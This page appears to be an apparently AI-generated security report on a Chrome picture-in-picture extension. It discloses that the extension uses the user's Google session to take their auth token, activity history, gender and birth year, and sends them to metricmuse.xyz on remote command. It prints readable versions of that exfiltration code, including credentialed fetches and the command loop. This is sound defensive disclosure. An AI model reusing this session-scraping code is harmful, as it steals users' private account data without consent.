Is Pic-in-Pic Floating Window works with Youtube [QVI] safe?

Low risk

Pic-in-Pic Floating Window periodically fetches your Google account activity and profile data and sends it to metricmuse.xyz.

A background alarm fires 30 minutes after install and then every 60 minutes, triggering a script that visits Google pages with your logged-in session to pull your authentication token, email, and Google My Activity history, then reports back to a remote server (metricmuse.xyz) for further instructions. Depending on the command that server returns, the extension uploads your YouTube/Google browsing history (URLs and page titles) or profile details such as gender and birth year, tagging each upload with a hashed version of your email address instead of the address itself.

TheBestChromeExtensionsv1.0.8Chrome Web Store
26Risk
Who publishes it

HideApp LLC - 37 other listings from the same operator, 2 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
TheBestChromeExtensions
Declared legal entity
HideApp LLC

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

thebestchromeextensions.com
Also called by 6 other listings

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Remote command can pull your Google gender and birth year to metricmuse.xyz

Code analysis shows the same alarm-driven job can receive a 'profile' command from metricmuse.xyz, then fetch myaccount.google.com/birthday with your session to read your gender and birth year, and upload those fields to metricmuse.xyz.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

metricmuse.xyz answers the extension's periodic check-in with a 'profile' command.

The command is one of two types the extension recognizes; the other is 'history'.

The extension did this

The extension fetches your Google account page and uploads your gender and birth year to metricmuse.xyz.

The email used to fetch the page is hashed and compared to the account already authenticated, then discarded before upload.

Fields uploaded to metricmuse.xyz/n/youtube/upload for a profile command
  • Account id
    8f14e45fceea167a5a36dedd4bea2543

    A SHA-256 hash of your Google account email, matched against the value collected during the account check-in.

  • Gender
    female

    The gender listed on your Google account, read from your account settings page.

  • Birth year
    1991

    The birth year listed on your Google account.

The code that does this

Reading your Google account page and extracting demographic fields

Readable version

Readable form of the demographic extraction

youtube_background.min.js:2240-2271
function extractDataFromHTML(htmlString) {  const ijMatch = htmlString.match(/<script[^>]*id="_ij"[^>]*>([\s\S]*?)<\/script>/);  const ijValues = ijMatch ? extractArrayLiteral(ijMatch[1]) : [];  const email = ijValues.find(v => typeof v === "string" && v.includes("@")) || null;  const gender = ijValues.find(v => v === "male" || v === "female") || null;  let birthYear = null;  const re = /AF_initDataCallback\((\{[\s\S]*?\})\)/g;  let m;  while ((m = re.exec(htmlString)) !== null) {    const obj = JSON.parse(normalizeJSLikeToJSON(m[1]));    if (obj.data?.[0] === "ac.s.bir.br" && obj.data[1]?.length === 3) {      birthYear = obj.data[1][2];      break;    }  }  return { email, gender, birthYear };}

Readable form of the profile command handler

youtube_background.min.js:3092-3125
async function getProfileData() {  const page = await fetchBirthdayPage(); // GET myaccount.google.com/birthday, credentials included  const data = extractDataFromHTML(page);  if (!data.email) throw new Error("could not extract email from profile page");  const mailHash = await digestMessage(data.email);  if (mailHash !== context.mailHash) throw new Error("mail on profile page does not match context");  data.email = undefined; // raw email is discarded before upload  return data; // { gender, birthYear }}
Hosts contacted by this flow
    • metricmuse.xyz

    Issues the 'profile' command and receives your uploaded gender and birth year.

    • myaccount.google.com

    Google's own account settings service; the extension replays your session against it to read your account demographics.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Scheduled job can exfiltrate your Google Activity history to metricmuse.xyz

Code analysis shows a background alarm authenticates to myactivity.google.com with your session and reports your hashed email to metricmuse.xyz.

A 'history' command then uploads your Google Activity entries.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

A recurring browser alarm fires while you are signed into a Google account.

The alarm is named 'dh-run-youtube' and repeats every 60 minutes.

The extension did this

The extension reads your Google auth token and reports your hashed account id to metricmuse.xyz.

If the server answers with a 'history' command, the extension also pulls and uploads your Google Activity entries.

Fields sent in the InitData report to metricmuse.xyz/n/youtube/start
  • Account id
    8f14e45fceea167a5a36dedd4bea2543

    A SHA-256 hash of your Google account email, used to identify you across scrapes.

  • Extension user id
    3fa85f64-5717-4562-b3fc-2c963f66afa6

    A random UUID generated on first run and stored locally, tying future reports to this browser.

  • Device id
    a1b2c3d4e5f6

    A device/hardware identifier read at report time.

  • Language and timezone
    en-US, -25200

    Your browser language and UTC offset in seconds.

  • Activity entries
    youtube.com/watch?v=dQw4w9WgXcQ, 2026-08-01T10:15:00Z

    When a history command is issued, the pages and searches from your Google Activity in the requested date range.

The code that does this

Credentialed fetch of your Google session and command dispatch loop

Readable version

Readable form of the auth-token extraction

youtube_background.min.js:2273-2322
async function getAuthData() {  const request = await fetch("https://myactivity.google.com/myactivity", {    credentials: "include"  });  const doc = await request.text();  const match = doc.match(/window\.WIZ_global_data\s*=\s*({.+?});<\/script>/s);  if (!match) throw new Error("Could not locate WIZ_global_data");  const data = JSON.parse(match[1]);  const token = data.SNlM0e; // Google session auth token  const email = data.oPEP7c; // signed-in account email  return { token, email };}

Readable form of the alarm-driven command loop

youtube_background.min.js:3937-4032
async function scrapeYoutube() {  const authData = await getAuthData();  if (!authData?.token || !authData?.email) return;  context.authToken = authData.token;  context.mailHash = await digestMessage(authData.email);  const initData = await fetchCommandsInitData();  let commands = await fetchCommandsToSend(initData); // POST .../n/youtube/start  while (commands?.commands?.length > 0) {    const commandsData = await executeCommandsToSend(commands);    const responses = await sendCommandsData(commandsData); // POST .../n/youtube/upload    commands.commands = responses.map(r => r.commands).filter(Boolean).flat();  }}
Reproduce it yourself

Rebuilds the InitData object the extension sends to metricmuse.xyz so you can see exactly which fields identify your device and account.

Requires
  • Node.js 18+ (Web Crypto API)
youtube-hunter-initdata.js · js
// Mirrors the InitData shape built in fetchCommandsInitData()// (youtube_background.min.js:3441-3630) and posted to// https://metricmuse.xyz/n/youtube/startasync function sha256Hex(message) {  const data = new TextEncoder().encode(message);  const hash = await crypto.subtle.digest("SHA-256", data);  return [...new Uint8Array(hash)].map(b => b.toString(16).padStart(2, "0")).join("");}async function buildInitData({ email, extensionUserId, hid, browserLanguage, dist, optedOut }) {  const mailHash = await sha256Hex(email);  return {    accountId: mailHash,    profileId: mailHash,    extensionUserId,    hid,    gmtDiffSeconds: -new Date().getTimezoneOffset() * 60,    browserLanguage,    dist,    optedOut  };}buildInitData({  email: "you@example.com",  extensionUserId: crypto.randomUUID(),  hid: "sample-hardware-id",  browserLanguage: navigator.language,  dist: "afpkgbjklboebpjloelecdcfddbfefdc",  optedOut: false}).then(d => console.log(JSON.stringify(d, null, 2)));
How to run it
  1. 1node youtube-hunter-initdata.js
Hosts contacted by this flow
    • metricmuse.xyz

    Receives account identifiers, issues remote commands, and receives uploaded Google Activity data.

    • myactivity.google.com

    Google's own My Activity service; the extension replays your authenticated session against it to read your auth token and activity history.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.0.8. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every secure site you visit

    https://*/*

  • Schedule its own background tasks

    alarms

  • Store data in your browser

    storage

Where it sends data

Destinations our analysis observed Pic-in-Pic Floating Window works with Youtube [QVI] contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • metricmuse.xyz

    Pic-in-Pic Floating Window works with Youtube [QVI] sends data to metricmuse.xyz. 12 other extensions we have analyzed send data here.

Updated 30 September 2026afpkgbjklboebpjloelecdcfddbfefdc